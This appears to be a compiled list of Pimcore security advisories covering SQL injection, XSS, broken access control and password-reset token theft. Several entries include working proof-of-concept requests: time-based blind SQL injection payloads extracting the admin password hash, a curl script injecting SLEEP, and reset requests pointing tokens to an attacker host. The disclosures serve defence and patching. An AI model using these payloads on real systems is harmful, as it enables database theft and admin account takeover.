See how pimcore compares to other vendors in security performance
Pimcore through 2026.3.1 contains a stored cross-site scripting vulnerability that allows authenticated backend users to inject scripts by storing unescaped URLs in ExternalImage fields. Attackers with data object edit permission can store attribute-breaking payloads that execute JavaScript in the admin origin when other users open version preview or diff views.
Pimcore CMS/DXP version 12.3.8 contains a sandbox bypass vulnerability that allows authenticated administrative attackers to execute arbitrary methods on PHP objects by exploiting empty checkMethodAllowed() and checkPropertyAllowed() implementations in the custom Twig SecurityPolicy. Attackers can supply malicious Twig templates through the DataObject ClassDefinition Layout\Text component to perform arbitrary file reads, execute arbitrary database queries, and potentially achieve remote code execution via PHP object gadget chains, with the pimcore function wildcard further broadening the bypass to all Pimcore Twig functions.
An SQL injection vulnerability in Pimcore admin-ui-classic-bundle through version 2.3 allows authenticated backend users to execute arbitrary SQL via the DataObject grid id column filter. The filter value is concatenated directly into the SQL WHERE clause without parameterization. An attacker with backend access can exfiltrate or modify all database contents.
Summary The Studio API class definition creation endpoint in pimcore/studio-backend-bundle is guarded by the objects permission instead of the classes permission, allowing any standard editor-level user to create class definitions without admin privileges. Class definition creation is a structural admin operation that generates new database tables and PHP class files on the server. Additionally, the API layer performs no format validation on the uid field before passing it to the model layer, relying solely on model-level validation that exists downstream in ClassDefinition::saveClassInternal().
Details
Issue 1 — Incorrect permission guard on CreateController
studio-backend-bundle/src/Class/Controller/DefinitionConfiguration/CreateController.php:
php #[IsGranted(UserPermissions::DATAOBJECTS->value)]
The endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is protected by DATAOBJECTS (the objects permission), which is a standard editor-level permission granted to content editors for creating and editing data objects. Class definition creation is a structural admin operation equivalent to schema modification, it creates new database tables and generates PHP class files on the server. This operation should require the classes permission, which is the permission Pimcore enforces for class definition management in the Classic Admin.
Any authenticated user with object editing rights can call this endpoint and create new class definitions, bypassing the intended admin-only restriction. The same user cannot perform this action through the Classic Admin UI, confirming the Studio API enforces a weaker permission check than the existing interface.
Correct guard: php #[IsGranted(UserPermissions::CLASSES->value)]
Issue 2 — No UID format validation at the API layer
studio-backend-bundle/src/Class/MappedParameter/CreateClassDefinitionParameters.php:
php public function construct( private string $name, private string $uid ) { if (trim($name) === '' || trim($uid) === '') { throw new InvalidArgumentException('Class name and UID cannot be empty.'); } }
Only an empty-string check is performed on uid at the API boundary before the value is passed to the model layer. While ClassDefinition::saveClassInternal() now validates the UID format via anchored regex, no equivalent validation exists in CreateClassDefinitionParameters. A malformed UID passes through the API layer without any format check and only fails deep in the model layer, returning an unformatted internal exception to the caller rather than a clean 400 API validation response, which can expose internal stack traces depending on server configuration.
Defense-in-depth requires validation at the API boundary consistent with the model layer. The same regex now applied in ClassDefinition.php should also be enforced here:
php if (!pregmatch('/^[a-zA-Z0-9][a-zA-Z0-9]$/', trim($this->uid))) { throw new InvalidArgumentException( sprintf('Invalid UID for class definition: %s', $this->uid) ); }
Affected files in pimcore/studio-backend-bundle: - src/Class/Controller/DefinitionConfiguration/CreateController.php - src/Class/MappedParameter/CreateClassDefinitionParameters.php
Vulnerable endpoint: POST /pimcore-studio/api/class/definition/configuration-view/detail/create
PoC
Prerequisites: - Pimcore 2026.1.x with Studio API enabled - A user editor with only the objects permission and no classes permission
Step 1 — Authenticate as the editor user:
bash curl -s -c /tmp/cookies.txt -X POST \ "https://your-pimcore/pimcore-studio/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"editor","password":"password"}'
Expected response: json {"message": "Login successful"}
Step 2 — Confirm the user has no class management access in Classic Admin
Log into Classic Admin as editor. Verify the Classes menu is not visible and the user cannot access Settings > Classes. This confirms the classes permission is not granted to this user.
Step 3 — Create a class definition via the Studio API despite lacking the classes permission:
bash curl -s -b /tmp/cookies.txt -X POST \ "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \ -H "Content-Type: application/json" \ -d '{"name":"UnauthorizedClass","uid":"testuid1"}'
Expected response (vulnerable): json {"id": "testuid1", "name": "UnauthorizedClass", ...}
The class definition is created successfully by a user with no classes permission. The Studio API accepts the request where the Classic Admin would deny it entirely.
Expected response (patched): json {"status": 403, "detail": "Access denied."}
Impact Any authenticated Pimcore user with the standard objects permission can create class definitions via the Studio API, bypassing the classes permission restriction enforced in the Classic Admin. This is a privilege escalation from editor level to a capability that should be restricted to administrators. Class definition creation generates new database tables and PHP class files on the server, giving an unprivileged user the ability to modify the application schema, introduce malformed class structures, and trigger downstream processing outside their permission scope.
The missing API-layer UID validation compounds this by allowing malformed UIDs to reach the model layer, producing unhandled internal exceptions that may expose stack traces depending on server debug configuration.
- Authentication required from attacker: Yes - valid Pimcore session with objects permission required - Authentication required from victim: No - no victim action needed - What is accessible: Full class definition creation capability including database table generation and PHP class file creation on the server
Summary
An authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint (and 11 other listing endpoints) accepts a columnFilters array where the key field is interpolated directly into SQL with only manual backtick wrapping. The DateFilter uses fixed named parameters (:minTime, :maxTime), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including SLEEP() for time-based extraction and IF() subqueries for conditional data exfiltration.
Vulnerability Details
Exploitable: DateFilter with Fixed Named Parameters
src/Listing/Filter/DateFilter.php lines 49-57 handle the on operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as :minTime and :maxTime:
php $key = $column->getKey(); // user-controlled, no validation $dateCondition = '' . $key . ' ' . ' BETWEEN :minTime AND :maxTime'; $listing->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => ...]);
Because the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.
Same Pattern in Note FilterService
src/Note/Service/FilterService.php lines 64-67:
php $dateCondition = '' . $filter[$propertyKey] . ' ' . ' BETWEEN :minTime AND :maxTime'; $list->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => $maxTime]);
No Validation on Column Key
src/MappedParameter/Filter/ColumnFilter.php accepts any string as the key with zero validation or allowlisting.
Why Backtick Wrapping is Not Escaping
Manual backtick wrapping ( '' . $key . '' ) does not escape internal backtick characters. quoteIdentifier() doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the -- (double dash space) comments out the remainder of the query:
Input: key = "id BETWEEN 0 AND 99999999999) AND SLEEP(3)-- "
Produces: sql (id BETWEEN 0 AND 99999999999) AND SLEEP(3)-- BETWEEN :minTime AND :maxTime)
Everything after -- is a SQL comment. The injected SLEEP(3) executes unconditionally.
Contrast with Safe Patterns in the Same Codebase
- LogRepository.php line 202: uses $this->dbResolver->get()->quoteIdentifier() (safe) - ClassificationStore/Configuration/KeyRepository.php: uses ALLOWEDSORTKEYS allowlist (safe)
Note on EqualsFilter/LikeFilter
The EqualsFilter and LikeFilter have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (:columnName). PDO requires named parameters to match [a-zA-Z0-9], so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.
Steps to Reproduce
Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11.
Step 1: Baseline request (no injection)
http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATEDSESSION>
{"page":1,"pageSize":10}
Response: HTTP/1.1 200 OK -- totalItems: 1 -- 0.07 seconds
<img width="1666" height="616" alt="image" src="https://github.com/user-attachments/assets/93dfbb22-3915-4abb-b569-13c9f3cea368" />
Step 2: Unconditional SLEEP(3) injection
http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATEDSESSION>
{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}
Response: HTTP/1.1 200 OK -- totalItems: 0 -- 6.07 seconds
<img width="1631" height="898" alt="image" src="https://github.com/user-attachments/assets/97d04b04-4fb2-4fd4-95b8-e50d0521de97" />
<img width="1920" height="625" alt="image" src="https://github.com/user-attachments/assets/6000a604-b189-4f99-8648-d8ec36a59094" />
The 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:
sql SELECT id FROM websitesettings WHERE (id BETWEEN 0 AND 99999999999) AND SLEEP(3)-- BETWEEN :minTime AND :maxTime) ORDER BY id ASC LIMIT 50
Step 3: Conditional SLEEP proving data extraction (TRUE case)
This query tests whether the admin password hash starts with $2y$ (bcrypt, hex 0x24327924). If true, the server sleeps 3 seconds. If false, no delay.
http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATEDSESSION>
{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}
Response: HTTP/1.1 200 OK -- 6.07 seconds (TRUE: admin password hash starts with $2y$)
<img width="1611" height="706" alt="image" src="https://github.com/user-attachments/assets/b9f12ca4-3459-4ed6-8a08-c64f99f28d85" />
<img width="1917" height="570" alt="image" src="https://github.com/user-attachments/assets/1c5eca3d-f66b-4630-bea9-69c93ffa1a6f" />
Step 4: Conditional SLEEP (FALSE case, wrong guess)
Same query but testing for XXXX (hex 0x58585858) instead:
http POST /pimcore-studio/api/website-settings HTTP/1.1 Host: localhost:8095 Content-Type: application/json Cookie: PHPSESSID=<AUTHENTICATEDSESSION>
{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}
Response: HTTP/1.1 200 OK -- 0.07 seconds (FALSE: password does not start with XXXX)
<img width="1920" height="496" alt="image" src="https://github.com/user-attachments/assets/7a27f666-a6e4-4c65-94b4-f0d22ba1db7f" />
Timing comparison
| Request | Payload | Response Time | Meaning | |---------|---------|---------------|---------| | Baseline | No injection | 0.07s | Normal | | Unconditional SLEEP | AND SLEEP(3) | 6.07s | Injection confirmed | | Conditional TRUE | IF(password starts with $2y$, SLEEP(3), 0) | 6.07s | Data extracted: hash is bcrypt | | Conditional FALSE | IF(password starts with XXXX, SLEEP(3), 0) | 0.07s | Control: no match, no delay |
By iterating through characters with SUBSTRING(password, N, 1), an attacker extracts the full bcrypt hash for offline cracking, or extracts passwordRecoveryToken values for direct account takeover without cracking.
Impact
An authenticated user with websitesettings permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.
Directly extractable high-value data: - Admin password hashes (users.password) for offline cracking - Password recovery tokens (users.passwordRecoveryToken) for direct account takeover via POST /login/token - Session data for session hijacking - All PIM product data, CMS content, and asset metadata
Affected Endpoints
All endpoints using ListingFilter::applyFilters() with a DateFilter on column filter:
- POST /pimcore-studio/api/website-settings - POST /pimcore-studio/api/notifications - POST /pimcore-studio/api/recycle-bin - POST /pimcore-studio/api/redirects - POST /pimcore-studio/api/translations/{domain} - POST /pimcore-studio/api/quantity-value/units - POST /pimcore-studio/api/properties - POST /pimcore-studio/api/classification-store/{storeId}/keys - POST /pimcore-studio/api/classification-store/{storeId}/groups - POST /pimcore-studio/api/classification-store/{storeId}/collections - GET /pimcore-studio/api/notes/{elementType}/{id} (via Note FilterService fieldFilters)
Recommended Fix
Replace manual backtick wrapping with Doctrine\DBAL\Connection::quoteIdentifier(), or implement a per-listing allowlist of valid column names:
php // Option 1: quoteIdentifier (doubles internal backticks) $db = \Pimcore\Db::get(); $dateCondition = $db->quoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';
// Option 2: allowlist (preferred) private const ALLOWEDCOLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate']; if (!inarray($key, self::ALLOWEDCOLUMNS, true)) { throw new InvalidArgumentException('Invalid filter column'); }
Apply the same fix to EqualsFilter, LikeFilter, and Note/FilterService as defense-in-depth, even though those are currently protected by PDO named parameter validation.
Supporting Materials
- Live-tested on Pimcore 12.x (2026.x branch, commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11 - MySQL general query log confirms injected SQL reaches the database - The safe pattern (quoteIdentifier()) exists in the same codebase in LogRepository.php line 202 - Package: pimcore/studio-backend-bundle
Summary
An unauthenticated attacker takes over any Pimcore admin account by sending a password reset request with an attacker-controlled resetPasswordUrl. The server generates a real cryptographic recovery token, appends it to the attacker's URL, and emails the link to the victim. When the victim clicks the link in their email, the token is sent to the attacker's server. The attacker then uses POST /pimcore-studio/api/login/token to authenticate as the victim with full admin privileges. Token login explicitly disables two-factor authentication, so even accounts with TOTP/Google Authenticator are compromised.
Vulnerability Details
Unauthenticated Endpoint Accepts Attacker URL
The reset password endpoint at src/User/Controller/ResetPasswordController.php line 53 is public (uses PUBLICSTUDIOAPI voter). The ResetPassword schema at src/User/Schema/ResetPassword.php accepts a resetPasswordUrl string as a required parameter with zero validation. No URL scheme check, no domain allowlist, no comparison against the configured system domain.
php final readonly class ResetPassword { public function construct( private string $username, private string $resetPasswordUrl // attacker-controlled, no validation ) {} }
Token Appended to Attacker URL
In src/User/Service/UserLoginService.php at line 64-65, the service generates a real recovery token and concatenates the attacker's URL with the token:
php $token = $this->authenticationResolver->generateTokenByUser($user); $loginUrl = $resetPassword->getResetPasswordUrl() . '?token=' . $token;
The token is generated and stored in the database BEFORE sendResetPasswordMail() is called on line 68. Even if email delivery fails, the token exists.
Token Login Bypasses 2FA
src/Security/Authenticator/AdminTokenAuthenticator.php line 60 explicitly disables 2FA on token login:
php $pimcoreUser->setTwoFactorAuthentication('required', false);
Token Validity
The token is encrypted with the application secret, valid for 24 hours, and single-use (nullified after authentication). The attacker's server captures it before the victim completes any reset flow.
Steps to Reproduce
Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4.
1. Send password reset with attacker URL (no authentication needed)
http POST /pimcore-studio/api/user/reset-password HTTP/1.1 Host: TARGET Content-Type: application/json
{"username":"admin","resetPasswordUrl":"https://ATTACKERSERVER:9999/steal"} <img width="1756" height="882" alt="image" src="https://github.com/user-attachments/assets/9cb90c8e-6c08-4cd6-980a-822bbd35dc23" />
- Response: 500 (email delivery failed in test env, but token def5020020bd133... visible in error trace, confirmed generated in DB
2. Confirm token was generated
Database query shows the recovery token was created:
name hastoken tokenprefix admin 1 def50200cdbd3c1292288a716c623f
3. Token login (after victim clicks the link in their email)
http POST /pimcore-studio/api/login/token HTTP/1.1 Host: TARGET Content-Type: application/json
{"token":"def50200cdbd3c1292288a716c623f...fulltoken..."}
Response:
HTTP/1.1 200 OK Set-Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419; path=/; httponly; samesite=strict Set-Cookie: pimcorestudioauthprofiletoken=d7a9ad; path=/; httponly; samesite=lax <img width="1756" height="679" alt="image" src="https://github.com/user-attachments/assets/53bf8f30-47c1-4398-b386-9929b77a35b5" />
4. Verify full admin access with the stolen session
http GET /pimcore-studio/api/users HTTP/1.1 Host: TARGET Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419
Response: HTTP/1.1 200 OK
json {"totalItems":1,"items":[{"id":1,"username":"admin","additionalAttributes":[]}]} <img width="1668" height="906" alt="image" src="https://github.com/user-attachments/assets/8f2b63b0-6357-4fe6-9689-35eb891de5ab" />
Full admin session obtained. All CMS content, assets, PIM data, user accounts, and system configuration are accessible.
Impact
An unauthenticated attacker who knows a valid admin username takes over the account with full administrative privileges. The only user interaction is the victim clicking a password reset link in a legitimate email from the Pimcore instance. The email comes from the real Pimcore server, making it indistinguishable from a genuine reset email.
The attack bypasses authentication (public endpoint), two-factor authentication (explicitly disabled on token login), and rate limiting (allows 3 attempts per window, trivially worked around with multiple IPs).
Once authenticated as admin, the attacker controls all CMS content, digital assets, PIM product data, user accounts, system configuration, and server-side code execution via class definitions.
Recommended Fix
Remove the resetPasswordUrl parameter entirely and construct the URL server-side from the configured system domain:
php $loginUrl = 'https://' . $this->domain . '/admin/login?token=' . $token;
If the frontend needs to specify the URL for multi-domain setups, validate the host against the configured domain and any registered Site domains.
Supporting Materials
- Live-tested on Pimcore 12.x (2026.x branch, Docker, PHP 8.4) - Package: pimcore/studio-backend-bundle - Distinct from CVE-2021-39189 (user enumeration in password reset, not URL injection)
Summary Authenticated users can craft a filter string used to cause a SQL injection.
Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer. This code does not look to sanitize inputs: https://github.com/pimcore/pimcore/blob/c721a42c23efffd4ca916511ddb969598d302396/models/DataObject/ClassDefinition/Data/Extension/RelationFilterConditionParser.php#L29-L47
c.f. with https://github.com/pimcore/pimcore/blob/c721a42c23efffd4ca916511ddb969598d302396/models/DataObject/ClassDefinition/Data/Multiselect.php#L332-L347
PoC Complete instructions, including specific configuration details, to reproduce the vulnerability.
Impact What kind of vulnerability is it? Who is impacted?
Overview
A potential security vulnerability discovered in pimcore/admin-ui-classic-bundle version up to v1.3.3 . The vulnerability involves a Host Header Injection in the invitationLinkAction function of the UserController, specifically in the way $loginUrl trusts user input.
Details
The host header from incoming HTTP requests is used unsafely when generating URLs. An attacker can manipulate the HTTP host header in requests to the /admin/user/invitationlink endpoint, resulting in the generation of URLs with the attacker's domain.
In fact, if a host header is injected in the POST request, the $loginURL parameter is constructed with this unvalidated host header. It is then used to send an invitation email to the provided user.
Here is an excerpt from the affected section of UserController.php file: // /src/Controller/Admin/UserController.php public function invitationLinkAction(Request $request, TranslatorInterface $translator): JsonResponse { // ..snip.. $token = Tool\Authentication::generateTokenByUser($user); $loginUrl = $this->generateCustomUrl([ 'token' => $token, 'reset' => true, ]);
try { $mail = Tool::getMail([$user->getEmail()], 'Pimcore login invitation for ' . Tool::getHostname()); $mail->setIgnoreDebugMode(true); $mail->text("Login to pimcore and change your password using the following link. This temporary login link will expire in 24 hours: \r\n\r\n" . $loginUrl); $mail->send(); // ..snip.. } // ..snip.. private function generateCustomUrl(array $params, string $fallbackUrl = 'pimcoreadminlogincheck', int $referenceType = UrlGeneratorInterface::ABSOLUTEURL): string { try { $adminEntryPointRoute = $this->getParameter('pimcoreadmin.customadminroutename');
//try to generate invitation link for custom admin point $loginUrl = $this->generateUrl($adminEntryPointRoute, $params, $referenceType); } catch (\Exception $e) { //use default login check for invitation link $loginUrl = $this->generateUrl($fallbackUrl, $params, $referenceType); }
return $loginUrl; } The $loginUrl variable is constructed using the generateCustomUrl function. If an attacker injects a malicious host header into a POST request, the resulting $loginUrl will include the malicious domain, and this link is then sent via email to the user.
Proof of Concept
Here is an example of a request that exploits this vulnerability: POST /admin/user/invitationlink HTTP/1.1 Host: attacker-domain.evil Cookie: PHPSESSID=test X-pimcore-extjs-version-major: 7 X-pimcore-extjs-version-minor: 0 X-Requested-With: XMLHttpRequest X-pimcore-csrf-token: 961c37cf60edfdc2eec5a705cb048aaa8c32804d
username=[username of a valid user]
The URL in the email will look like: http://attacker-domain.evil/admin/login/login?token=[TOKEN]
Impact
This vulnerability can be used to perform phishing attacks by making the URLs in the invitation links emails point to an attacker-controlled domain.
Remediation
We recommend validating the host header and ensuring it matches the application's domain. It would also be beneficial to use a default trusted host or hostname if the incoming host header is not recognized or is absent.
Similar vulnerability (CVE-2024-23648) has been fixed in this project (https://github.com/pimcore/admin-ui-classic-bundle/commit/70f2205b5a5ea9584721d4f3e803f4d0dd5e4655)
Credit
Discovered by @v0lck3r (Oussama RAHALI), Feb 2024.
Impact You can create, delete etc. tags without having the permission to do so. This vulnerability allows an attacker to perform broken access control and add tags to admin panel and add dumy data. One can do this as intruder and add text parameters with random numbers and this will effect integrity and availability.
Patches Available in version 1.3.3.
Workarounds Apply this pull request manually: https://github.com/pimcore/admin-ui-classic-bundle/pull/412
References -
Summary
The password reset functionality sends to the the user requesting a password change an email containing an URL to reset its password.
The URL sent contains a unique token, valid during 24 hours, allowing the user to reset its password. This token is highly sensitive ; as an attacker able to retrieve it would be able to resets the user's password.
It was identified during the audit that the reset-password URL is crafted using the "Host" HTTP header of the request sent to request a password reset.
This way, an external attacker could send password requests for users, but specify a "Host" header of a website that they control. If the user receiving the mail clicks on the link, the attacker would retrieve the reset token of the victim and perform account takeover.
Details
This attack required the server to serve Pimcore on arbitrary "Host". This configuration would be plausible if the attacker is already behind the reverse proxy. During the assessment of my client, their instance was accepting any Host header, and they did not received security recommendations that they should restrict this while installing Pimcore.
From what I understood of Pimcore, the vulnerability is in the "admin-ui-classic-bundle", in the file src/Controller/Admin/UserController.php.
The following screenshots provide evidences of the vulnerability. The environment of the test is : dockerized Pimcore v11.1.1 on default configuration (https://pimcore.com/docs/platform/Pimcore/GettingStarted/Installation/DockerBasedInstallation/).
PoC !image !image
Remediation Create a variable that sets the server host. Don't enable password reset functionality while this variable is not set ; or make sure that the administrator knows what they are doing.
I believe that just documenting that the server should not serve on any Host would not be enough to enforce a remediation to this vulnerability.
The Snipe-IT project managed this same issue by creating a "APPALLOWINSECUREHOSTS" variable, and retrieving the app absolute URL from a config file : https://github.com/snipe/snipe-it/commit/0c4768fd2a11ac26a61814cef23a71061bfd8bcc
Impact Could lead to a 1-click account takeover
Summary The application allows to create zip files from available files on the site. The parameter "selectedIds", is susceptible to SQL Injection.
Details downloadAsZipJobsAction escape parameters, but downloadAsZipAddFilesAction not. The following code should be added: foreach ($selectedIds as $selectedId) { if ($selectedId) { $quotedSelectedIds[] = $db->quote($selectedId); } }
PoC
- Set up an example project as described on https://github.com/pimcore/demon (demo package with example content) - Log In. Grab the X-pimcore-csrf-token header from any request to the backend, as well as the PHPSESSID cookie. - Run the following script, substituting the values accordingly: #!/bin/bash BASEURL=http://localhost # REPLACE THIS! CSRFTOKEN="5133f9d5d28de7dbab39e33ac7036271284ee42e" # REPLACE THIS! COOKIE="PHPSESSID=4312797207ba3b342b29218fa42f3aa3" # REPLACE THIS! SQL="(selectfrom(select(sleep(6)))a)"
curl "${BASEURL}/admin/asset/download-as-zip-add-files?dc=1700573579093&id=1&selectedIds=1,${SQL}&offset=10&limit=5&jobId=655cb18a37b01" \ -X GET \ -H "X-pimcore-csrf-token: ${CSRFTOKEN}" \ -H "Cookie: ${COOKIE}" - The response is delayed by 6 seconds.
Impact Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.
Summary An authenticated and unauthorized user can access the GDPR data extraction feature and query over the information returned, leading to customer data exposure.
Details Permissions do not seem to be enforced when reaching the /admin/customermanagementframework/gdpr-data/search-data-objects endpoint allowing an authenticated user without the permissions to access the endpoint and query the data available there. It seems that the access control is not enforced in this place : <https://github.com/pimcore/customer-data-framework/blob/b4af625ef327c58d05ef7cdf145fa749d2d4195e/src/Controller/Admin/GDPRDataController.php#L38>
PoC
In order to reproduce the issue, the following steps can be followed:
1. As an administrator : a. Create a role without any permission through Settings → User & Roles → Roles in the administration panel b. Create an user through Settings → User & Roles → Users and assign it the unprivileged role previously created 2. Log out the current administrator and log in with this new user 3. Access to the following endpoint https://pimcoreinstance/admin/customermanagementframework/gdpr-data/search-data-objects?id=&firstname=&lastname=&email=&page=1&start=0&limit=50 and the results will be returned to this unauthorized user.
Impact An unauthorized user can access PII data from customers without being authorized to.
Summary An authenticated and unauthorized user can access the back-office orders list and be able to query over the information returned.
Details Permissions do not seem to be enforced when reaching the admin/ecommerceframework/admin-order/list endpoint allowing an authenticated user without the permissions to access the endpoint and query the data available there. It seems that the access control is not enforced in this place :
<https://github.com/pimcore/ecommerce-framework-bundle/blob/ff6ff287b6eb468bb940909c56970363596e5c21/src/Controller/AdminOrderController.php#L98>
Note : Testing this vulnerability requires a fully configured ecommerce website, but it looks vulnerable as when requesting the endpoint the data seem returned (and when looking at the source code nothing seems to validate the permissions on the specified endpoint).
PoC In order to reproduce the issue, the following steps can be followed :
1. As an administrator : a. Create a role without any permission through Settings → User & Roles → Roles in the administration panel b. Create an user through Settings → User & Roles → Users and assign it the unprivileged role previously created 2. Log out the current administrator and log in with this new user 3. Access to the following endpoint https://pimcoreinstance/admin/ecommerceframework/admin-order/list and the results will be returned to this unauthorized user
Impact An unauthorized user can access back-office orders without being authorized to.
Summary An authenticated and unauthorized user can access the list of potential duplicate users and see their data.
Details Permissions do not seem to be enforced when reaching the /admin/customermanagementframework/duplicates/list endpoint allowing an authenticated user without the permissions to access the endpoint and query the data available there. It seems that the access control is not enforced in this place : <https://github.com/pimcore/customer-data-framework/blob/b4af625ef327c58d05ef7cdf145fa749d2d4195e/src/Controller/Admin/DuplicatesController.php#L43>
PoC In order to reproduce the issue, the following steps can be followed :
1. As an administrator : a. Create a role without any permission through Settings → User & Roles → Roles in the administration panel b. Create an user through Settings → User & Roles → Users and assign it the unprivileged role previously created 2. Log out the current administrator and log in with this new user 3. Access to the following endpoint https://pimcoreinstance/admin/customermanagementframework/duplicates/list and the results will be returned to this unauthorized user
Impact An unauthorized user can access PII data from customers without being authorized to.
Impact Unauthorized users are able to obtain sensitive information about the system's runtime environment, features they have no permissions to access, etc.
Patches Update to version 10.6.4 or apply this patch manually https://github.com/pimcore/pimcore/commit/0237527b3244d251fa5ecd4912dfe4f8b2125c54.patch
Workarounds Apply patch https://github.com/pimcore/pimcore/commit/0237527b3244d251fa5ecd4912dfe4f8b2125c54.patch manually.
References https://huntr.dev/bounties/be5e4d4c-1b0b-4c01-a1fc-00533135817c/
Cross-site Scripting (XSS) - Reflected in GitHub repository pimcore/pimcore prior to 10.6.4.
Impact Using some SQL exploitation tools such as sqlmap, an attacker can enumerate all information in the database, alter data or perform dos on the backend database.
Patches Update to version 10.6.5 or apply this patch manually https://github.com/pimcore/pimcore/commit/e641968979d4a2377bbea5e2a76bdede040d0b97.patch
Workarounds Apply patch https://github.com/pimcore/pimcore/commit/e641968979d4a2377bbea5e2a76bdede040d0b97.patch manually.
References https://huntr.dev/bounties/b00a38b6-d040-494d-bf46-38f46ac1a1db/
Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.6.4.
SQL Injection in GitHub repository pimcore/pimcore prior to 10.5.24.
Impact The product performs authorization checks incorrectly when an unauthorized actor tries to access a resource or perform an actions.
The attacker can view and freely perform actions to add, modify, or delete rules.
Patches Update to version 3.4.1 or apply this patch manually https://github.com/pimcore/customer-data-framework/commit/f15668c86db254e86ba7ac895bc3cdd1a2a3cc45.patch
Workarounds Apply https://github.com/pimcore/customer-data-framework/commit/f15668c86db254e86ba7ac895bc3cdd1a2a3cc45.patch manually.
References https://huntr.dev/bounties/1dcb4f01-e668-4aa3-a6a3-838532e500c6/
Summary
Unauthenticated HTML Injection / XSS Possible. Conditions: 2factor authentication must not set before
Vulnerable Endpoint: /admin/login/2fa-setup
Vulnerable Param: error= How it works, So basically any admin, who has not setup 2 factor authentication before is vulnerable for this attack, without need for any form of privilege, causing the application to execute arbitrary scripts / HTML Contents.
Another potential attack vector, as it's a 2fa page and it has QR Code, attacker can replace this QR Code with something he has, leading to increase threat to the admin.
This attack can be used to execute arbitrary scripts or HTML Injection, causing the target application to execute these resulting in cookie steeling, defacement or Injecting phishing URLs on the target application.
Patches Update to version 1.0.3 or apply this patches manually https://github.com/pimcore/admin-ui-classic-bundle/commit/5fcd19bdc89a3fe4cb8ad8c356590e1e4740c743.patch
Workarounds Apply patches manually: https://github.com/pimcore/admin-ui-classic-bundle/commit/5fcd19bdc89a3fe4cb8ad8c356590e1e4740c743.patch
References https://huntr.dev/bounties/1fa1cc3b-75ff-4d34-99ae-4a705eb623e7/
Pimcore is an open source data & experience management platform. In versions prior to 10.1.3, it is possible to enumerate usernames via the forgot password functionality. This issue is fixed in version 10.1.3. As a workaround, one may apply the available patch manually.
Pimcore is an open source data & experience management platform. Prior to version 10.1.2, an authenticated user could add XSS code as a value of custom metadata on assets. There is a patch for this issue in Pimcore version 10.1.2. As a workaround, users may apply the patch manually.
Pimcore is an open source data & experience management platform. Prior to version 10.1.2, text-values were not properly escaped before printed in the version preview. This allowed XSS by authenticated users with access to the resources. This issue is patched in Pimcore version 10.1.2.
Pimcore is an open source data & experience management platform. Prior to version 10.1.1, Data Object CSV import allows formular injection. The problem is patched in 10.1.1. Aside from upgrading, one may apply the patch manually as a workaround.
The getObjectByToken function in Newsletter.php in the PimcoreToolNewsletter module in pimcore 1.4.9 through 2.1.0 does not properly handle an object obtained by unserializing a pathname, which allows remote attackers to conduct PHP object injection attacks and delete arbitrary files via vectors involving a ZendHttpResponseStream object.
The getObjectByToken function in Newsletter.php in the PimcoreToolNewsletter module in pimcore 1.4.9 through 2.0.0 does not properly handle an object obtained by unserializing Lucene search data, which allows remote attackers to conduct PHP object injection attacks and execute arbitrary code via vectors involving a ZendPdfElementFactoryProxy object and a pathname with a trailing \0 character.
An authenticated attacker with permission to edit document content can store crafted HTML/JavaScript in a Document embed editable and cause script execution when the published page is rendered.
This issue affects pimcore: v12.3.3.
Pimcore AdminBundle version 6.8.0 and earlier suffers from a SQL injection issue in the specificID variable used by the application. This issue was fixed in version 6.9.4 of the product.
Impact The customer view exposes the hashed password along with other deails. An attacker is then able to enum password of a particular id, likewise we can replace id with other user , for example 1015, password hash can be disclosed which can be further cracked with hashcat
Patches Update to version 3.3.10 or apply this patch manually https://github.com/pimcore/customer-data-framework/commit/d1d58c10313f080737dc1e71fab3beb12488a1e6.patch
